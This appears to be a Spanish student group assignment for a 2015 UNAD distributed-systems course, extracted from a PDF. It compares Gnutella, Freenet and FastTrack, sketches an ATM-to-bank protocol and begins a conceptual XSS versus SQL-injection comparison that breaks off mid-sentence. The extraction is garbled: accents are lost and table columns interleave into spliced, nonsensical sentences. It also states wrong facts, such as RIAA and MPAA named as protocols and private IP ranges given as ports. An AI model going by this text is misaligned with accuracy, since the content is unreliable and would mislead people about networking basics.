Está en la página 1de 31

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD

Escuela de Ingenieras. Ingeniera Electrnica


Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

ACTIVIDAD 2

TRABAJO COLABORATIVO

LUIS ALBERTO SANCHEZ CORREA- Cd.: 16.786.134


JORGE LUIS OCHOA URREGO - Cd.: 1112299785

Director: Gerardo Granados Acuna


Grupo Colaborativo: 302090_5

Universidad Nacional Abierta y a Distancia UNAD.


Programa: Ingeniera Electrnica
Cead: Palmira- Valle- Colombia
Octubre- 2015

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

INTRODUCCION

Los Sistemas Distribuidos son conformados por grupos de computadores

que son

conectados a una red de rango amplio debidamente acoplado que comparten en comn
un sistema de software Distribuido que permite este el poder de compartir recursos tanto
de hardware, control y datos siendo estos recursos totalmente trasparentes para usuario
final ya que no nota diferencia con un sistemas centralizado.

Uno de los principales reto para los Sistemas Distribuidos es mantener la operacin de
un usuario totalmente trasparente en el entorno de red sin importarlas caractersticas y los
sistemas conectados por eso

podemos afirmar que este tipo de tecnologas podemos

encontrar heterogeneidad tanto en hardware como software. En este trabajo analizamos y


evaluamos diferentes sistemas distribuidos teniendo en cuenta las caractersticas y
componentes de los sistemas distribuidos.

Esta actividad es de gran importancia abordar el tema de los sistemas distribuidos en p2p
arquitectura debido a que permitir identificar componentes, caractersticas y tipos de
sistemas distribuidos, para aplicarlos en anlisis de situaciones en la gua de trabajo.

Este documento se realiz con el fin de poner en prctica todos los temas, conceptos y
objetos de estudio de la Unidad 2, del curso Sistemas distribuidos, haciendo un breve
recuento de los siguientes puntos: Modelos de sistemas distribuidos; Aspectos de diseo
de un sistema distribuido; Aspectos de seguridad de un sistema distribuido.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

OBJETIVOS

Generales

Elaborar el trabajo colaborativo No. 2

Especficos

Participacin en el foro e interaccin con los compaeros del foro.


Elaborar informe escrito

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Situacin 1:
Seleccione dos (2) de los siguientes sistemas distribuidos con arquitectura P2P. Fast Track,
Gnutella, Freenet, TOR (The Onion Router) Haga un cuadro comparativo e indique como es el
funcionamiento de los sistemas, qu componentes se instalan, tamao en disco, clientes usados,
uso de encriptamiento, reas del disco que acceden, protocolo utilizado y tipo de puertos que
usan, pantalla de trabajo, cmo opera la aplicacin distribuida para recuperar informacin, que
sistemas requieren servidor central y cules no?.
R/
Sistemas
distribuidos
arquitectura
P2P

Gnutella

En vez de tratar cada usuario como cliente y


servidor, algunos usuarios pasaron a ser
tratados como "ultrapares", enrutando
peticiones de bsquedas y respuestas para
los usuarios conectados a ellos.

Funcionamiento

El nombre 'Gnutella' es un juego de palabras


entre GNU y Nutella (un dulce de avellana).
Al contrario que otras redes de intercambio
de ficheros, como eDonkey2000, Gnutella es
una red P2P pura. Esto es, todos los nodos
tienen la misma funcin, peso e importancia
dentro de la red. El funcionamiento de la red
pasa por tres fases:
Esta estrategia de difusin se llama
inundacin de la red, y existen mecanismos
para evitar reenvos infinitos y bucles.
Cuando una peticin llega a un nodo que
ofrece el fichero, se contesta directamente al
nodo que inici la bsqueda.
Descargas. La
descarga se realiza
directamente
desde
los
nodos
que
contestaron a la bsqueda del fichero. Los
ficheros pueden partirse en varios trozos
servidos por diferentes nodos, y los clientes
suelen incluir un sistema de comprobacin
final de la integridad del fichero.

Freenet
Freenet es una red de distribucin de
informacin
descentralizada
y
resistente a la censura diseada
originalmente por Ian Clarke. Freenet
tiene por objeto proporcionar libertad
de expresin a travs de las redes de
pares mediante una fuerte proteccin
del anonimato; como parte del apoyo a
la libertad de sus usuarios, Freenet es
software libre.
Freenet trabaja por medio de la puesta
en comn del ancho de banda y el
espacio de almacenamiento de los
ordenadores que componen la red,
permitiendo a sus usuarios publicar o
recuperar distintos tipos de informacin
annimamente.
Red Freenet se dise como una red
P2P no estructurada de nodos no
jerarquizados que se transmiten
mensajes y documentos entre ellos.
Los nodos pueden funcionar como
nodos finales, desde donde empiezan
las bsquedas de documentos y se
presentan al usuario, o como nodos
intermedios de enrutamiento. Cada
nodo aloja documentos asociados a
claves y una tabla de enrutamiento que
asocia nodos con un historial de su
desempeo para adquirir diferentes
claves.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2
Gnutella es un protocolo diseado para el
intercambio de archivos en una red
distribuida. Un protocolo es un formato
estndar que permite que dos piezas de
software para comunicarse, como un
lenguaje que dos personas ambos saben.

Ningn nodo posee informacin acerca


del desempeo de los otros nodos que
conoce. El enrutamiento inicial de
peticiones sea al azar y que las redes
Freenet recin creadas distribuyan la
informacin al azar entre sus nodos.

Permite a un usuario para compartir


cualquier tipo de archivo de su ordenador y
ponerlo a disposicin de cualquier persona
que utilice el software Gnutella.

Componentes

El grupo de todos los usuarios que se estn


ejecutando
software
Gnutella
que
comnmente se conoce como el Gnutella net.
Esto es porque no hay servidores de
Gnutella en el sentido tradicional, como
servidores web o servidores de correo. Un
cliente de Gnutella es un servidor.
Este nuevo concepto es la base de las redes
peer -to- peer , donde no hay clientes y
servidores , pero servents , ordenadores que
actan tanto como clientes y servidores.
Gnutella es un protocolo distribuido, donde
cada mquina en la red est conectada a
cualquier otra mquina y no de un solo
servidor se encarga de distribuir la totalidad
del contenido.

Para encontrar un documento en la red


conocida una clave que lo describe, un
usuario enva un mensaje a un nodo
solicitando
el
documento
y
proveyndolo con la clave.
Si el documento no se encuentra en la
base de datos local, el nodo selecciona
a un vecino de su tabla de
enrutamiento que cree que ser capaz
de localizar la clave ms rpidamente y
le pasa la peticin, recordando quin
envi el mensaje para poder deshacer
despus el camino.
Cuando se encuentra el documento
correspondiente a la clave buscada, se
enva una respuesta al originador de la
peticin a travs de todos los nodos
intermedios que recorri el mensaje de
bsqueda.
Los nodos intermedios pueden elegir
mantener una copia temporal del
documento en el camino.

Si un equipo se cae la red no se ve afectada,


ya que todas las otras mquinas estn
conectadas entre s a travs de mltiples
conexiones redundantes.

Ahorrar tiempo y ancho de banda en


peticiones
futuras
del
mismo
documento, esta copia ayuda a impedir
la censura del documento, ya que no
existe un "nodo fuente", y dificulta
adivinar
qu
usuario
public
originalmente el documento.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Tamao del
disco
Clientes usados
La inundacin producida por la fase de
bsqueda es la debilidad ms importante de
este protocolo.

Fproxy
Es la interfaz web de Freenet que
puede ser accedida mediante el uso de
cualquier navegador web. Desde aqu
podremos
acceder
a
Freesites,
manejar nuestras conexiones con otros
nodos, algunas estadsticas sobre el
funcionamiento del nodo, revisar la lista
de descargas y envos, como as
tambin,
ver
y
modificar
la
configuracin de nuestro nodo.
Freesites
Los freesites son el equivalente de un
sitio web pero en Freenet y pueden ser
vistos con cualquier navegador web.
Existen
Freesites
dedicados
a
categorizar, ordenar y listar otros sitios,
a estos se les llama ndices. Junto con
el instalador de Freenet se distribuye la
aplicacin JSite para crear, insertar y
administar Freesites.

Encriptamiento

Adems, este algoritmo de bsqueda no


garantiza que el fichero sea finalmente
encontrado incluso aunque algn nodo de la
red lo tenga.
Su mquina enva el nombre de la cancin
que escribi en la red Gnutella mquina ( s )
se conoce.
Estas mquinas de bsqueda para ver si el
archivo solicitado est en el disco duro local .
Si es as, que envan el nombre del archivo (
y el IP de la mquina de direcciones) al
solicitante.
Al mismo tiempo , todas estas mquinas de
enviar la misma peticin a las mquinas que
estn conectados , y el proceso se repite .

Frost es un sistema de foros de


mensajes para Freenet bastante
popular y bien mantenido. Usa el
concepto de red de confianza as como
claves pblicas y privadas para evitar
el exceso de spam.
Es muy popular en el rea del
intercambio de ficheros (junto con
Thaw) y es la aplicacin de mensajera
ms ampliamente usada en Freenet.
Durante mucho tiempo los usuarios
prefirieron el Freenet Message Board
(FMB), pero ste ha cado en desuso.
Frost est escrito en Java y por tanto
funciona en cualquier plataforma que
tenga disponible una JVM (Windows,
*nix, Mac, etc.). Est traducido a varios
idiomas incluido el espaol.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

reas disco
acceden

Bsquedas. Cuando un nodo desea buscar


un fichero, le enva un mensaje a todos los
nodos a los que est conectado. Estos
buscan localmente si lo ofrecen, y a la vez
reenvan la bsqueda a todos los nodos a los
que ellos estn conectados.

El nodo al que se pas la peticin


repite el proceso hasta que se
encuentra un nodo que guarda el
documento asociado a la clave o la
peticin pasa por un nmero mximo
de nodos, conocido como el valor de
tiempo de vida.
Ninguno de los nodos intermedios sabe
si el nodo anterior de la cadena fue el
originador de la peticin o un simple
enrutador. Al deshacer el camino,
ninguno de los nodos puede saber si el
nodo siguiente es el que efectivamente
tena el documento o era otro
enrutador. De esta manera, se asegura
el anonimato tanto del usuario que
realiz la peticin como del usuario que
la respondi.

Protocolo
utilizado

Puertos que
usan

Entrada. En esta fase un nuevo nodo se


conecta a otro que ya est dentro de la red.
Cmo se encuentra un nodo ya conectado
est fuera del protocolo, pero normalmente
los clientes Gnutella se distribuyen con una
lista de nodos que se espera estn siempre
conectados y se escoge alguno al azar.
Un nodo cualquiera puede estar conectado a
varios nodos, y recibir conexiones de nuevos
nodos formando una malla aleatoria no
estructurada.
10.0.0.0 through 10.255.255.255 (Class A)
172.16.0.0 through 172.31.255.255 (Class B)
192.168.0.0 through 192.168.255.255 (Class C)

Pantalla de
trabajo

La solicitud tiene un TTL ( Time to Live )


lmite que se le plantean . Una peticin
puede salir seis o siete niveles de
profundidad antes de que deje de
propagacin.
Si cada mquina en la red Gnutella sabe de
slo cuatro otros, eso significa que su
solicitud podra llegar a 8.000 o menos otras
mquinas en la red Gnutella si se propaga
siete niveles de profundidad.
Es una forma muy sencilla e inteligente de
distribucin de una consulta a miles de
mquinas muy rpidamente.
Este enfoque tiene una gran ventaja -

El puerto estndar de Proxy es el 8888


al cual se puede acceder slo desde
nuestro equipo apuntando nuestro
navegador a http://127.0.0.1:8888/ o
http://localhost:8888/.

En la versin de diciembre de 2006 se


incorpor a Frost la posibilidad de ver
los mensajes en 'hilos' y la integracin
del gestor de descargas con el sistema
de mensajera.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2
Gnutella funciona todo el tiempo. Siempre y
cuando se puede llegar a por lo menos otro
software Gnutella mquina en marcha, usted
es capaz de consultar la red. Sin orden
judicial va a cerrar este sistema hacia abajo,
porque no hay una mquina que controla
todo.
Operacin de
recuperacin

Requerimiento
de servidor
central

Dado que no hay un servidor central para


almacenar los nombres y ubicacin de todos
los archivos disponibles, cmo el software
de Gnutella en su equipo encontrar una
cancin en la mquina de otra persona? El
proceso es algo como esto :
Usted escribe en el nombre de la cancin o
el archivo que desea encontrar.
Su mquina sabe de al menos otra mquina
Gnutella en algn lugar de la red. Se sabe
porque le has dicho que es el lugar de la
mquina introduciendo la direccin IP , o
porque el software tiene una direccin IP
para un host Gnutella pre programado .

Si hay muchas bsquedas a la vez, la red se


llena de mensajes de bsqueda que los
nodos se envan entre ellos.

Thaw es un gestor de descargas e


intercambio de archivos para Freenet.
Se pueden subir o bajar archivos y
compartir archivos mediante ndices
(file indexes).
Este software fue desarrollado para el
Google Summer of Code (SOC) en
2006 y su desarrollo continuo siendo
activo.

Si queremos que otras personas de


nuestra red local tengan acceso a
nuestro nodo (ya sea para ver
Freesites o para administrarlo) hay que
cambiar los campos "IP address to
bind to" y "Allowed Hosts" en la pgina
de configuracin.
Si un archivo al que se est intentando
acceder desde un Freesite es muy
grande, o el navegador no lo reconoce
para abrirlo, se pregunta al usuario si
quiere agregarlo a la cola de
descargas. Desde la seccin "Queue"
de Fproxy se pueden administrar
descargas y subidas de archivos.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

CARACTERISTICAS

FASTTRACK

como
es
el Es un sistema semicentralizado,
funcionamiento de los donde existen varios servidores
sistemas
que administran la informacin,
emplea los Supernodos para
aliviar la carga de informacin, los
cuales mejoran la rapidez y la
manera en que transita la
informacin.
qu componentes
instalan

se

FREENET
Sistema descentralizado el cual
tiene como objeto brindar libertad
de expresin atreves de redes
pares mediante el anonimato, su
objetivo es almacenar documentos
y acceder a ellos con una clave,
evitando la censura y brindando
anonimato.

Clientes, servidores y nodos.

tamao en disco
clientes usados

Kazaa;
iMesh;
Mammoth;
KCeasy; Morpheus; MLDonkey.

uso de encriptamiento

Cada nodo usa diferentes claves


Si, mediante el uso de claves de asociadas para brindar seguridad
encriptacin.
de informacin, mediante un
historial de desempeo

reas del
acceden

disco

que La direccin de la carpeta de La direccin de la carpeta de


descarga
descarga

protocolo utilizado

UUhash, RIAA o MPAA

UUhash, RIAA o MPAA

tipo de puertos que usan

Entre el 3.000 y el 4.000

El puerto estndar el cual es 8888

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Situacin 2:

Disee y describa un protocolo del nivel de aplicacin para ser usado entre un cajero automtico
y el computador central del banco.

El protocolo debe permitir que se verifique

la tarjeta y la clave del usuario, que se

consulte el balance de la cuenta (que se mantiene en el computador central),

y que se realicen reintegros de una cuenta (es decir, dinero reintegrado al usuario).

Las entidades del protocolo deben ser capaces de resolver el problema tan comn de que

no haya suficiente dinero en la cuenta para cubrir el reintegro.

Especifique el protocolo listando los mensajes intercambiados y la accin tomada por el

cajero automtico o el computador central del banco ante la transmisin o recepcin de mensajes.

Esboce la operacin de su protocolo para el caso de un reintegro sencillo sin errores,

utilizando un diagrama de estados.


R/
Para dar respuesta a esta pregunta primero defino el Modelo Cliente Servidor, que este modelo en
la actualidad, permite descentralizar el procesamiento y recursos, sobre todo, de cada uno de los
servicios y de la visualizacin de la Interfaz Grfica de Usuario. Esto hace que ciertos servidores
estn dedicados solo a una aplicacin determinada y por lo tanto ejecutarla en forma eficiente.

Cliente-Servidor
 Es el sistema donde el cliente es una mquina que solicita un determinado servicio y se
denomina servidor a la mquina que lo proporciona. Los servicios pueden ser:
 Ejecucin de un determinado programa.
 Acceso a un determinado banco de informacin.
 Acceso a un dispositivo de hardware.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

 Es un elemento primordial, la presencia de un medio fsico de comunicacin entre las


mquinas, y depender de la naturaleza de este medio la viabilidad del sistema.

PROTOCOLO
 Es un conjunto conocido de reglas y formatos que se utilizan para la comunicacin entre
procesos que realizan una determinada tarea. Se requieren dos partes:
 Especificacin de la secuencia de mensajes que se han de intercambiar.
 Especificacin del formato de los datos en los mensajes.
 Un protocolo permite que componentes heterogneos de sistemas distribuidos puedan
desarrollarse independientemente, y por medio de mdulos de software que componen el
protocolo, haya una comunicacin transparente entre ambos componentes.
 Es conveniente mencionar que estos componentes del protocolo deben estar tanto en el
receptor como en el emisor.

PARA HACER LA IMPLEMENTACION O SOLUCION A ESTA SITUCIN SE REQUIERE:




Servidores de archivos: Proporciona archivos para clientes / usuarios. Si los

archivos no fueran tan grandes y los usuarios que comparten esos archivos no sean
muchos, esto sera una gran opcin de almacenamiento y procesamiento de archivos. El
cliente solicita los archivos y el servidor los ubica y se los enva.


Servidores de Base de Datos: Son los que almacenan gran cantidad de datos

estructurados, se diferencian de los de archivos pues la informacin que se enva est ya


resumida en la base de datos. Ejemplo: El Cliente hace una consulta, el servidor recibe
esa consulta (SQL) y extrae solo la informacin pertinente y enva esa respuesta al
cliente.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Servidores de Software de Grupo: El software de grupo es aquel, que permite

organizar el trabajo de un grupo. El servidor gestiona los datos que dan soporte a estas
tareas. Por ejemplo: almacenar las listas de correo electrnico. El Cliente puede indicarle,
que se ha terminado una tarea y el servidor se lo enva al resto del grupo.


Servidores de impresin: Gestionan las solicitudes de impresin de los clientes.

El cliente enva la solicitud de impresin, el servidor recibe la solicitud y la ubica en la cola


de impresin, ordena a la impresora que lleve a cabo las operaciones y luego avisa a la
computadora cliente que ya acabo su respectiva impresin.


Servidores de aplicacin.- Se dedica a una nica aplicacin. Es bsicamente una

aplicacin a la que pueden acceder los clientes.

Componentes de Software:
Se distinguen tres componentes bsicos de software:


Presentacin: Tiene que ver con la presentacin al usuario de un conjunto de

objetos visuales y llevar a cabo el procesamiento de los datos producidos por el mismo y
los devueltos por el servidor.


Lgica de aplicacin: Esta capa es la responsable del procesamiento de la

informacin que tiene lugar en la aplicacin.




Base de datos: Est compuesta de los archivos que contienen los datos de la

aplicacin.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Arquitecturas Cliente / Servidor:


Arquitectura Cliente-Servidor de Tres Capas: Consiste en una capa de la presentacin,
otra capa de la lgica de la aplicacin y otra capa de la base de datos. Normalmente esta
arquitectura se utiliza en las siguientes situaciones:
 Cuando se requiera mucho procesamiento de datos en la aplicacin.
 En aplicaciones donde la funcionalidad este en constante cambio.
 Cuando los procesos no estn relativamente muy relacionados con los
datos.
 Cuando se requiera aislar la tecnologa de la base de datos para que sea
fcil de cambiar.
 Cuando se requiera separar el cdigo del cliente para que se facilite el
mantenimiento.
 Est muy adecuada para utilizarla con la tecnologa orientada a objetos.

Base de Datos Distribuidas: El cliente realiza la interaccin con el usuario,


ejecuta la aplicacin, debe conocer la topologa de la red, as como la disposicin y
ubicacin de los datos. Se delega parte de la gestin de la base de datos al cliente.

IP: Protocolo de Internet: Protocolo de la capa de Red, que permite definir la


unidad bsica de transferencia de datos y se encarga del direccionamiento de la
informacin, para que llegue a su destino en la red.

TCP: Protocolo de Control de Transmisin: Protocolo de la capa de Transporte,


que permite dividir y ordenar la informacin a transportar en paquetes de menor
tamao para su transporte y recepcin.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

HTTP: Protocolo de Transferencia de Hipertexto: Protocolo de la capa de


aplicacin, que permite el servicio de transferencia de pginas de hipertexto entre
el cliente WEB y los servidores

SMTP: Protocolo de Transferencia de Correo Simple: Protocolo de la capa de


aplicacin, que permite el envo de correo electrnico por la red.

1.1.

PASOS A SEGUIR PARA EL USO DE UN CAJERO AUTOMTICO

ESCENARIO NORMAL / FRECUENTE




El cajero debe inicialmente estar localizado en una localizacin segura tanto para el
usuario como para que el banco preste su servicio.

El cliente / usuario desea hacer una transaccin y va al cajero automtico que siempre
est disponible a recibir la tarjeta del cliente.

El cliente/ usuario inserta la tarjeta.

El cajero automtico acepta la tarjeta, lee el nmero de tarjeta y el cdigo del banco

El cajero automtico pide la contrasea al cliente.

El cliente teclea la clave "XXXX".

El cajero automtico enva el nmero de tarjeta, el cdigo del banco y la contrasea al


computador donde se encuentran las bases de datos de los clientes o computador
central.

El servidor central enva el nmero de tarjeta y la contrasea al computador del cajero.

El servidor notifica la aceptacin al cajero automtico.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2


El cajero automtico pide al cliente que elija el tipo de transaccin: retiro de fondos,
transferencia, informacin, cambio de clave.

El cliente / usuario selecciona retiro de fondos.

El cajero solicita al cliente que elija si su cuenta es de ahorros o corriente.

El usuario selecciona la opcin que corresponda

El cajero automtico pide al cliente que elija la cantidad y le da las opciones a elegir.

El usuario requiere un monto especifico sea 500 mil pesos o 500 dlares sea el caso
de aqu en Canada.

El cajero automtico comprueba que la cantidad est dentro de los lmites y de dentro
del balance que puede retirar por da.

El cajero automtico genera una transaccin y la enva al servidor central del banco
para aprobacin.

El banco aprueba la transaccin.

El banco actualiza la cuenta.

El cajero automtico entrega el dinero al cliente.

El usuario toma el dinero.

El cajero automtico pregunta al cliente si quiere un recibo.

El usuario presiona confirmando que requiere el recibo.

El cajero automtico imprime un recibo.

El usuario adquiere el recibo impreso para sus propios registros.

El cajero automtico pregunta al cliente si quiere hacer otra operacin.

El Usuario presiona NO.

El cajero automtico vuelve a la situacin inicial.

El cajero devuelve la tarjeta y da la transaccin bancaria como concluida.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

ESCENARIO CON ALGUNOS DE PROBLEMAS:


Problema 1: Digitar clave incorrecta
 El cajero automtico pide al cliente que inserte la tarjeta.
 El cliente inserta la tarjeta.
 El cajero automtico acepta la tarjeta de y lee el nmero de tarjeta y el cdigo del
banco.
 El cajero automtico pide la contrasea al cliente.
 El usuario teclea "XXXX".
 El cajero automtico enva el nmero de tarjeta, el cdigo del banco y la contrasea al
servidor donde se encuentran las bases de datos de los clientes o computador central.
 El banco y servidor notifica el rechazo de la tarjeta debido a clave incorrecta.
 El computador notifica el rechazo al cajero automtico.
 El cajero automtico notifica el rechazo al cliente y pide que teclee de nuevo la
contrasea o si desea continuar con otra clave. Usualmente son tres intentos con la
clave de lo contrario se bloque la cuenta del usuario.
 En este caso el usuario continua, y digita los nmeros "XXXX". Que es la clave
correcta.
 El cajero automtico enva el nmero de tarjeta, el cdigo del banco y la contrasea al
servidor donde se encuentran las bases de datos de los clientes o computador central
 El banco notifica la aceptacin de la tarjeta.
 El servidor notifica la aceptacin al cajero automtico.
 El cajero automtico pide al cliente que elija el tipo de transaccin: retiro de fondos,
transferencia, informacin, cambio de clave, cancelar.
 El usuario selecciona retiro de fondos.
 El cajero automtico pide al cliente que elija la cantidad y le da las opciones a elegir.
 El Usuario presiona el botn CANCELAR la transaccin.
 El cajero automtico vuelve al punto de inicio de las transacciones.

Situacin Dos: Solicitar un Cantidad de dinero mayor que el saldo en cuenta o que el
monto mximo a retirar por cajero automtico.
 El cajero automtico pide al cliente que elija la cantidad y le da las opciones a elegir.
 El cliente elige 5 millones colombiano pesos o en dlares 3000 USD
 El cajero automtico comprueba que la cantidad no se est dentro de los lmites
generales para transacciones por cajero automatico.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

 El cajero automtico genera una transaccin y la enva al servidor del banco.


 El banco rechaza

automaticamente por varios motivos, puede ser por fondos

insuficientes, o por cantidad mayor a la que se puede retirar por cajero automatico, y
usualmente existe un mensaje impreso que dice para montos mayores dirijase en
persona al banco.
 El cajero automtico vuelve a la situacin inicial

INGRESO / USUARIO
Actores: usuario, cajero y servidor
 El usuario ingresa al cajero localizado en un lugar seguro, no a la intemperie,
 Inserta la tarjeta que ha sido provista por el banco,
 Digita su clave,
 El cajero lee la tarjeta y la clave ingresada por el usuario,
 El servidor recibe los datos
 Procesa y genera una respuesta al cajero
 Men de opciones para seleccionar.

SELECCIN / OPCIONES
Actores: usuario, cajero y servidor
 El usuario selecciona retiro de efectivo,
 Escoge hacer retiro de dinero,
 El servidor recibe los datos, procesa y responde.
 Cajero ofrece Men opciones de dinero para seleccionar

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

RETIRO DE EFECTIVO

Actores: Usuario, cajero y servidor


 El usuario selecciona el monto a retirar del men del cajero
 Servidor recibe los datos genera respuesta con cantidad de dinero.
 Cajero cuanta el dinero, y entrega
 Despliega un men opciones de imprimir el saldo en la cuenta,
 Usuario recoge el dinero del cajero
 Selecciona opcin impresin de saldo,
 Cajero muestra la opcin de impresin escogida por el usuario
 Transaccin finalizada.

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

DIAGRAMA DE ESTADO DE RETIRO DE DINERO DE UN CAJERO ELECTRONICO

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Situacin 3:
Haga un paralelo entre los ataques Cross Site Scripting (CSS) y SQL Inyection. Sugiera mtodos por los que
una organizacin puede protegerse contra cada una de stas formas de ataque.
Cross Site Scripting (CSS)

SQL Inyection

Cross-site Scripting (XSS) es una tcnica de ataque


que fuerza un sitio web a repetir el cdigo ejecutable
suminitrado por un atacante, el cual se carga en el
navegador del usuario.

Inyeccin SQL es un mtodo de


infiltracin de cdigo intruso que se vale
de una vulnerabilidad informtica
presente en una aplicacin en el nivel
de validacin de las entradas para
El
cdigo
normalmente
est
escrito
en realizar operaciones sobre una base de
HTML/JavaScript, pero tambin puede extenderse a datos.
VBScript, ActiveX, Java, Flash, o cualquier otra
tecnologa soportada por el navegador.
El origen de la vulnerabilidad radica en
el incorrecto chequeo y/o filtrado de las
Cuando un atacante consigue que el navegador de variables utilizadas en un programa que
un usuario ejecute su cdigo, el cdigo se ejecutar contiene, o bien genera, cdigo SQL. Es
dentro del contexto de seguridad (o zona) del sitio un error de clase de vulnerabilidades
web. Con este nivel de privilegio, el cdigo tiene la que puede ocurrir en cualquier lenguaje
habilidad de leer, modificar y transmitir cualquier dato de programacin o script que est
sensible accesible por el navegador. Un usuario embebido dentro de otro.
objeto de este ataque podra tener su cuenta
secuestrada (robo de cookie), su navegador Se conoce como Inyeccin SQL,
redirigido a otra direccin, o posiblemente mostrando indistintamente,
al
tipo
de
contenido fraudulento entregado por el sitio web que vulnerabilidad, al mtodo de infiltracin,
est visitando. Los ataques de Cross-site Scripting al hecho de incrustar cdigo SQL
comprometen esencialmente la relacin de confianza intruso y a la porcin de cdigo
entre el usuario y el sitio web.
incrustado.
Hay dos tipos de ataques Cross-site Scripting,
persistentes y no persistentes. Los ataques no
persistentes requieren que un usuario visite un
enlace especialmente diseado que incluye cdigo
malicioso. Al visitar este enlace, el cdigo incrustado
en la URL ser repetido y ejecutado dentro del
navegador web del usuario.

Los ataques persistentes tienen lugar cuando el


cdigo malicioso es presentado al sitio web donde se
almacena durante un perodo de tiempo.

Ejemplos de destinos favoritos de los atacantes a


menudo incluyen foros, mensajes de correo web y

Cuando, de alguna manera, se inserta o


"inyecta" cdigo SQL invasor dentro del
cdigo SQL programado, a fin de alterar
el funcionamiento normal del programa
y lograr as que se ejecute la porcin de
cdigo "invasor" incrustado, en la base
de datos.
Este tipo de intrusin normalmente es
de carcter malicioso, daino o espa,
por tanto es un problema de seguridad
informtica, y debe ser tomado en
cuenta por el programador de la
aplicacin para poder prevenirlo. Un
programa elaborado con descuido,
displicencia o con ignorancia del
problema, podr resultar ser vulnerable,

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

software de chat sobre web. Al usuario confiado no y la seguridad del sistema (base de
se le requiere hacer click en ningn enlace, slo datos) podr quedar eventualmente
simplemente ver la pgina web conteniendo el comprometida.
cdigo.

Cross-site scripting es un tipo de inseguridad


informtica o agujero de seguridad tpico de las
aplicaciones Web, que permite a una tercera parte
inyectar en pginas web visitadas por el usuario
cdigo JavaScript o en otro lenguaje script similar (ej:
VBScript), evitando medidas de control como la
Poltica del mismo origen.

Este tipo de vulnerabilidad se conoce en espaol con


el nombre de Secuencias de rdenes en sitios
cruzados. Es posible encontrar una vulnerabilidad
XSSSO en aplicaciones que tengan entre sus
funciones presentar la informacin en un navegador
web u otro contenedor de pginas web.

Sin embargo, no se limita a sitios web disponibles en


Internet, ya que puede haber aplicaciones locales
vulnerables a XSS, o incluso el navegador en s.

XSS es un vector de ataque que puede ser utilizado


para robar informacin delicada, secuestrar sesiones
de usuario, y comprometer el navegador,
subyugando la integridad del sistema.

Las vulnerabilidades XSS han existido desde los


